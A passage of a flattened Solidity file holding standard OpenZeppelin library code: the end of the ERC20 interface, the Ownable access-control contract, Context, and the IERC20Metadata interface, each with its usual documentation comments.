    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/access/Ownable.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}